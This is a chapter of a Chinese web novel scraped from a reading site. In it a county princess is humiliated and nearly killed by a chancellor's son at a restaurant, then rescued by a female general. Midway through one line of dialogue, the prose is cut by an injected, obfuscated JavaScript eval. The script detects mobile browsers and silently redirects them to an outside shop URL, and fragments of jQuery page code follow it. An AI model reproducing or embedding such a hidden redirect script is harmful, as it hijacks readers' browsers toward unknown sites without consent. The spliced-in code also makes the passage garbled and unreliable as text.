文趣网 > 其他小说 > 姑娘今天又换人设了 > 12. 第 12 章
    “姑娘不要伤心,他们不相信姑娘,我相信!”

    樱桃方才一直站在益善堂门外听着,期间见他们一群人如此欺负沈雁回恨不得冲进去揍他们一顿出出气。

    沈雁回看着她气鼓鼓的小脸“分明受冤枉的是我,怎么瞧着你比我还要生气”

    樱桃眼泪都快要出来了“我就是看不惯有人欺负姑娘,他们都不心疼,我心疼”

    沈雁回心头一软,捏了捏樱桃肉乎乎的脸“好了,中午让小厨房给你炖肘子吃”

    “那这件事怎么办,姑娘不是说遇见了梁玉镜的手下,要不您告诉老爷让他告诉丞相府梁玉镜才是凶手”

    沈雁回笑容僵硬,手使了点劲疼的樱桃哎吆一声“我的傻樱桃,你是想让你家姑娘四面受敌吗,一个姓柳的就够我头疼的了,真是神仙打架百姓遭殃,我啊就是无妄之灾只能自认倒霉”

    “那我们现在怎么办,难不成真让老太太带着姑娘去丞相府赔罪吗?”

    沈雁回想了想,站在桌前,提笔写了一封请帖,递给了樱桃“去,替我跑一趟丞相府”

    沈雁回没敢把这件事告诉刘妈妈,并且让院里的小厮和奴婢也都给瞒着,生怕刘妈妈知道再劳心伤神。

    午时一刻,樱桃才回来,一进屋就气的不行“姑娘,他们简直欺人太甚,那个柳牧也居然让姑娘亲自到门前叩头,叩满三十此事才可作罢!”

    “真不是个东西!”

    沈雁回给她倒了一杯水,樱桃犹觉不够直接拿起茶盅往嘴里倒,不只是渴的还是气的。

    “你同他们动手了?”

    “没有,姑娘说了不能打人,我记着呢”

    沈雁回又问“约他,也不出来?”

    樱桃点头又摇头“他们说了,柳公子金尊玉贵,若约,非七贤阁雅居不出”

    知道柳牧也难搞,没想到这么难搞,七贤阁雅居,一顿千金,就算把她给卖了估计也不够吃一顿的。

    沈雁回把压箱底的小匣子拿出来,里面是她全部的家当,沈行棋给的一千两银票,廖云冉送的珠钗首饰和华贵的宝石头面,以及犄角旮旯里零星的小金馃子,她心中滴血但依旧忍着痛把首饰和头面收拾出来交给了樱桃。

    “你去找个典当行,典当了吧”

    樱桃紧紧得抱着那些东西,十分不舍“好不容易才有了些像样的首饰,都典当了日后怎么办,那些贵女会笑话姑娘的”

    沈雁回长出一口气,眼神都没从那堆首饰上离开过“先把眼前这事给解决了吧,不然要再多首饰又有何用”她关上匣子“等你办完事再去一趟就说我答应了,明日,七贤阁雅居静候柳公子”

    “好”

    日落西山,樱桃才带了信回来,只有一个等字。

    “等?等什么,她不立马去道歉还要等到什么时候!”

    汀兰苑内,廖云冉听完百薇的话心火更甚,她为了这件事食不能寐辗转反侧,两天过去沈雁回依旧只给了一个等字。

    若非沈行棋不让她插手这件事,她早就托人找关系去丞相府赔罪了。

    赵妈妈轻轻的给她揉着头“夫人同她置什么气,当心些自己的身子”

    “我不是同她置气”廖云冉叹气道“我是担心明珠,她已十五,思翰有心要为她挑选亲事,可若是得罪了丞相府,上京城哪个有头有脸的人家还敢要她,若是把她低嫁给一些举子,我又不愿看她嫁过去受苦”

    “左右两难,我如何能不生气,她倒好闯出了天大的篓子,如今往同心苑里一躲她是清净了,旁人却叫她连累死了”

    赵妈妈宽慰道“四姑娘还小着呢,不着急”

    廖云冉眉头紧蹙“明珠还可等上一等,可瑞承要科考,这科考之路早已不是文采斐然者胜,柳相把持着春闱谁中谁落,都在他们一念之间”

    她坐起身,握住赵妈妈的手“若是因为她得罪了柳相,我的孩子前程尽毁,我又如何能袖手旁观”

    “可”赵妈妈欲言又止“我看老爷...”

    “若不是因为思翰看重沈雁回,顾念着手足亲情,我早把她绑去丞相府门前认错了”

    “姑娘不可!”

    赵妈妈慎重交代“万万不能因为此事和老爷离心”

    廖云冉愁云满面“我自然知晓,孰轻孰重我心中自有分晓,只是这心头”

    “夫人就别忧心了,我瞧着三姑娘是个有主意的主,这事啊,咱就看她怎么办”

    “只能如此了”廖云冉深吸一口气“明日你去瞧瞧她,看看可有短缺,别让老爷觉得我厚此薄彼亏待了她”

    “是”

    翌日一早,赵妈妈就带着些如今上京城最时兴的珠钗布匹来看沈雁回,结果扑了一个空,人不在。

    院里的小丫头说“三姑娘早早便出去了,说是约了人在七贤阁,中午就不必等她用膳了”

    赵妈妈若有所思的出了同心苑,随后冲着身边的婢女道“走,我们也去七贤阁”

    七贤阁地处玄武大街,是整个上京最繁华最核心的地带,西临丞相府,东置玄武门,商铺林立四通八达。

    本就人山人海的七贤阁今日更是座无虚席,比肩接踵,所有食客的目光都跟随着身姿妙曼的侍女手中所提着的精致小巧的红灯笼,一排排侍女手中各掌一盏,随着走动左右游荡如荼蘼的花紧紧地吸引着所有人的目光。

    一位掌柜模样的中年男子走到雅堂的台子上,上面戏曲已停,他站定,手中同样也提着一盏红灯笼。

    “雅居十三间,掌灯”

    众人哗然,激烈的讨论声不绝于耳。

    “十三间?是哪个公子哥如此有魄力,一人掌灯十三间?!”

    “雅居掌灯一间就要数千两,这,动辄便是十三间,我的天老子,吃顿饭而已这要花多少钱!”

    有人不忿“真是朱门酒肉臭,我等攒了又攒,才能在这雅堂吃上一顿,这些公子哥当真是,当真是”

    “嘘,别说了,我们就是普通老百姓,看个热闹就行了,这些话若是被那些人听了去,凭白给自己惹一身麻烦”

    亦有三楼的老饕目光火热“听闻雅居每一间的压轴菜都不一样,八大菜系,各显身手,传承与传承的碰撞,简直就是味蕾的极致享受!”

    “你说,这雅居十九间每一间的菜该是何等美味,若我能轮番吃上一顿,死也值了”

    雅居内面容姣好的侍女端着一盏天青色小盅,嗓音柔柔道“观音莲花掌,这道菜所取次年熊掌,以炒米封存,经年累月后炒米的香便沁入掌中,再以蜂蜜涂抹文火慢炖,洗净之后再文火慢炖六个时辰,入口软烂,米的香醇,蜜的甜美,所有精华之处都融和在了掌中”

    说着侍女打开盅盖,亲自把小盅内一块晶莹剔透,状若莲花细看之下无数瓣花朵一簇一簇绽放的熊掌,摆放在两人面前“客人请尝”

    沈雁回此刻已经是眼冒金星,脑子完全混沌,侍女说了一堆她什么也没听进去,脑子里只有柳牧也那一句:本公子生辰为三月十三,你既有心请罪,那便掌灯十三间。

    所谓掌灯十三间,顾名思义雅居每逢客来都会掌一盏灯,连掌多少灯就是连开多少间,每一间菜系都不同,不管客人吃不吃的完都不能带出七贤阁,但花费依旧会收取,图的就是个一掷千金的豪气。

    往日里不是没有世家子弟为了博美人一笑,掌灯多间,但是自七贤阁开店以来,连掌十三间的她还是第一人。

    沈雁回不敢算甚至都不敢想,这顿饭要花多少钱,她转头看向窗外朦胧的红色灯笼,只觉得眼前阵阵发黑。

    她抬手抵住自己的额头才硬撑着没有倒下去,侍女察觉到她的不适,问道“姑娘可是哪里不舒服”

    沈雁回抬头,表情古怪“我心口疼,我怕是要死了”

    “那我为姑娘寻个大夫来瞧瞧”

    “让她疼,本公子倒是要看她几时能疼死”

    侍女虽然不认识面前的姑娘是谁,但能认出她对面的就是名满上京的柳牧也,她不敢得罪,小心翼翼的侍奉着,察言观色久了自然也能看出来这两个人之间微妙的氛围,但她毕竟人微言轻,什么也做不了。

    一道道闻所未闻见所未见的菜被侍女一一介绍从善如流的摆放在两个人面前,柳牧也倒是心情不错,唇角的笑一直没下来过。

    侍女上完菜,便退到门外。

    沈雁回脸上挤出一个比哭还难看的笑“柳公子怎么不动筷,可是不合胃口?”

    柳牧也仰躺在椅子上“没瞧见本公子腿伤了吗”

    腿伤了,跟你手有什么关系,她心中不忿,但面上依旧带着讨好的笑,询问“那可要”

    “你没伺候过人吗,过来喂我”柳牧也出言打断了她的话,毫不客气拿她当婢女使唤。

    沈雁回心里问候了他祖宗十八代,但依旧老老实实的起身站在柳牧也身边拿起筷子准备喂他“柳公子想吃什么?”

    “啧”柳牧也瞟了一眼桌上的山珍海味“那条鱼,记得把刺剔干净”

    沈雁回夹起琉璃盏里那头宛若游龙的鱼,鱼肉十分薄,一条条鱼肉被摆放的宛若一头张牙舞爪的龙,造型十分新颖,她放在小碟子上仔细瞅了瞅别说刺了,透过晶莹剔透的鱼肉甚至都能看见柳牧也那玩味十足的笑。

    “这鱼没有刺,柳公子”

    “本公子说有,那就是有”

    她微微闭眼面上重新挂起笑“那定然是我眼拙,容我仔细找找”

    沈雁回自知他故意刁难,但也只能假模假样的凑进翻来覆去直到腰都快断了这才停下动作,小心地夹到柳牧也嘴边但半晌也没见他张嘴。

    抬头去看,这才发现两个人离得实在是近,近到她能清晰的看到那双含笑的瞳孔中倒影的自己,他的睫毛长而密,一簇一簇衬的那双狐狸眼更为勾人。

    倒是长了副顶好的皮囊。

    柳牧也见她发呆,倾身往前,两个人距离更近,吓得沈雁回猛然往后,手中的鱼也随之掉落在地。

    炽热的掌心紧贴着沈雁回的腰,一个用力,她只能被迫再次更加贴近柳牧也,整个上半身都堪堪倚在了他的怀里。

    本是旖旎多情的场景,但硬生生被柳牧也那张嘴坏了氛围“蠢货,伺候人都不会”

    沈雁回立马回神,手脚并用的站起身,她低下头做小伏低“柳公子怎样才能放过我”

    柳牧也姿态更为放松,单手支着额头,侧头看向她“脱光了学三声狗叫,或许本公子能大发慈悲放你一马”

    他知道面前的人是陛下钦定的县主,亦是同梁玉镜有着千丝万缕的关系,可,那又怎样,他柳牧也在这上京,想如何,便如何。

    沈雁回脸都白了,她嘴唇嗫嚅,眼泪夺眶而出“你怎能,怎能如此羞辱于我,你明明知道并非我打断了你的腿,你还如此”

    “怎么,不服气”

    柳牧也勾唇冷笑,眼中戏谑意味更浓“不服气,下辈子记得投个好胎,换我脱衣学狗叫”

    “前提是,你得先死”

    他站起身,高大的阴影将沈雁回密不透风的笼罩,影子交缠,他弯腰俯在她耳畔,一字一句低喃“本公子心善,可以送你一程”

    沈雁回面上眼泪不断,心中却在思量怎么才能从这条恶狗手中逃走,想了半晌才发现从他说掌灯十三间开始就已经没有了退路。

    即便今日她真的脱衣学了狗叫,柳牧也揭过断腿一事,她也无法付得起雅居十三间的费用,成安伯府虽是廖云冉持掌中馈,但当家做主的却依旧是沈老夫人。

    那个以家族昌盛,她人皆可为弃子的老太太,当真能心甘情愿为她垫付这笔巨大费用吗,若是她知道了柳牧也让她做了什么,她会不会一顶小轿就此把她抬去丞相府。

    沈雁回抬眸看向柳牧也,眸中坚定,语气却幽怨“我若脱了,此事可过?”

    柳牧也轻笑,端的是不屑一顾“看本公子心情,兴许会,兴许不会”

    沈雁回深吸一口气,走到窗边把窗户关上,随后她把手放在腰间,随着外衫的落地柳牧也笑容越发深,他抬了抬下巴“继续”

    她上前一步,姿态袅袅的坐在柳牧也的腿上,上半身柔弱无骨的贴在他宽阔的胸膛,胳膊虚虚的揽住他的脖子,在他耳畔宛若情人低诉“还有比脱衣更好玩的事情,柳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766842|209733||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    公子可要试试?”

    柳牧也瞧着魅人的沈雁回,方才的清冷不见此刻伏在在身上更像是一直摄人心魄的魑魅,他笑着更多的却是讥讽,下一秒抬手回揽“是吗,怎么玩”

    沈雁回抬手扯开了自己的衣领,裸露出大片的脖颈,雪白细腻的皮肤更引人想一览衣下风光,她慢慢把手抚上柳牧也的脸,在面前人意味深长且玩弄的目光中,狠狠狠狠地给了他一巴掌。

    “啪”

    柳牧也被这毫无防备的一巴掌给打的侧过了头,墨色的发丝混合着血迹粘在唇角,脸上是火辣辣的灼痛,可此刻比脸上更为灼热的是心头猛然窜起的滔天巨火。

    他,丞相嫡子,皇后亲弟在这上京从来都是一手遮天说一不二,从来都是他打别人,可今时今日,竟然被一个女子给扇了一巴掌。

    “你敢打本公子,找死!”

    他站起身骨节分明的手恶狠狠的扼住了沈雁回洁白的脖颈,须臾间便赤红一片。

    柳牧也当真是想要了她的命,所以下手毫无顾忌,巨大的力道让沈雁回在疼痛和窒息中神情恍惚,想说话却连嘴也张不开,但依旧用轻蔑恶心的眼神直直的瞪向柳牧也。

    “你有种,但可惜你惹错了人”

    柳牧也脸上是残忍冷酷的笑继续道“你以为你有个县主的身份我就不敢拿你怎么样,告诉你,即便今日我杀了你,也没有人能奈我何”

    他弯腰,手下力度更甚,眼神如刀子一下一下在沈雁回的脸上凌迟“下辈子,记得投个好胎”

    沈雁回此刻被强烈的窒息感笼罩,已经听不清他在说什么了,心底却只有一个想法,她若是就这样死了,樱桃可怎么办。

    仿佛是最后一点念想给了她巨大的勇气,她也不知道哪里来的力气,抬脚狠狠的踢中了柳牧也的□□,脖子上的手力道一松,她趁机蹲下爬着逃出了那方寸之地。

    沈雁回踉跄的打开了门,拼着最后一点力气嘶吼“柳牧也要杀我,救命!”

    门外站着的侍女早就听见了里面传来的动静,但是没有命令不敢进去,此刻见沈雁回这般狼狈模样,刚要伸手去扶,就听见从屋内传来一道极冷极冷的声音,在这临近初夏的季节冷不丁的让人起了一层白毛汗。

    “把她给我带进来”

    侍女看了看沈雁回又看了看柳牧也,她犹豫着,一时不知道该怎么办。

    沈雁回抓住她的衣袖,借着力道站起身然后拼命想往楼下跑,但是四楼栏杆处站满了柳牧也的手下,一听见命令毫不犹豫的拦住了她。

    “公子有请,姑娘还是进去吧”

    沈雁回知道逃跑无望,只能朝楼下大喊“我乃玉宁县主,今日宴请柳牧也,却不想被他所困,他要杀我,他要杀我!”

    楼下几层原本就对四楼之人非常好奇,本就一直在关注着,此刻见四楼闹了这么大的动静,纷纷起身抬头望四楼看。

    “玉宁县主?哪个玉宁县主”

    “我朝能有几个县主,这位就是前些日子被大公主所救的成安伯府嫡女沈雁回”

    众人恍然大悟“竟是她,可她”

    有人听见后半句又坐了回去“这事别掺和,不是我们见死不救,柳恶狗在里面,我们也无能为力”

    “哎”

    有人叹气,有人不忿但最终都老老实实的坐了回去。

    沈雁回心一下凉了半截,今日,她可能真的要交代在这里了。

    “跑啊,怎么不跑了?”

    她转过身,殷切的笑道“我想我们之间可能有误会”

    柳牧也站在门外,邪魅的狐狸眼含冰,表情冷硬,但说出的话却极为轻描淡写道“杀了她,喂我的将军”

    “是”

    侍卫得令,拔了剑就朝着沈雁回刺来,她没有樱桃那样好的功夫,此时此刻,怕是真的要交代在这里,她认命的闭上了眼,想象中的疼痛没有到来,却只听见男人一阵的哀嚎声。

    沈雁回刚想睁开眼,就感觉自己被一件宽大的披风笼罩,干净冷冽的气息进入鼻腔,让她不由自主的便想起一个人。

    “不要怕,我来了”

    梁玉镜一手抱着她一手握着红缨枪,她声音不大,却听得在场所有人一阵胆颤“我朝律法,无故弑杀女子者,凌迟三百刀”

    “把他们给我拿下”

    梁玉镜一声令下,跟随在身后的属下纷纷上前就要把那些侍卫给绑了。

    “我看谁敢”

    柳牧也被侍卫搀着走到中间,隔开了自己的侍卫和梁玉镜的那些女兵,他懒散的笑着气势却迫人“我和玉宁县主玩闹,怎么能算得上弑杀,这罪名太重,本公子可担不起”

    梁玉镜自然了解他是个什么秉性“玩闹需要提刀吗,若不是我及时赶到恐怕她早已成为剑下亡魂,这能叫玩闹?”

    柳牧也一步一步靠近沈雁回,每走一步唇边的笑就加深一分,他摊着手活脱脱的像个无赖“不如就由县主告诉公主我们是否是在玩闹”

    “县主”他低低的叫着,两个字被他喊的缠绵悱恻,却隐隐的带着些威胁的意味。

    梁玉镜低头安慰“不用怕他,我给你撑腰,实话实说便是”

    沈雁回抬眸双眼通红,像一只受了惊的小兔子,她两只手紧紧的攥住梁玉镜的衣服,只是在看向柳牧也时又是另一幅神情。

    柳牧也挑眉,随后哼笑,想来他也有看走眼的一天。

    沈雁回怯怯的看了一眼柳牧也“我同柳公子就是在玩闹”

    梁玉镜皱眉,她不说话时煞气迫人“当真”

    “我想回家”她哭出了声,紧紧的抓住梁玉镜的胳膊,红着眼乞求道“将军,我想回家,你带我回家好不好”

    梁玉镜看着她哭红的双眼,心下一软,知道此地不是说话的好时机,把人打横抱起,感受到怀中的人轻轻的把头靠在她的肩头,仿佛娇弱的菟丝花,此番动作又惹得梁玉镜一阵怜惜。

    在转身下楼的那一刻,梁玉镜回眸,那种在战场上厮杀的戾气毫不掩饰,两人对视,彼此眼中皆是外露的杀意。

    柳牧也亦无惧,抬手行了一礼“恭送公主殿下”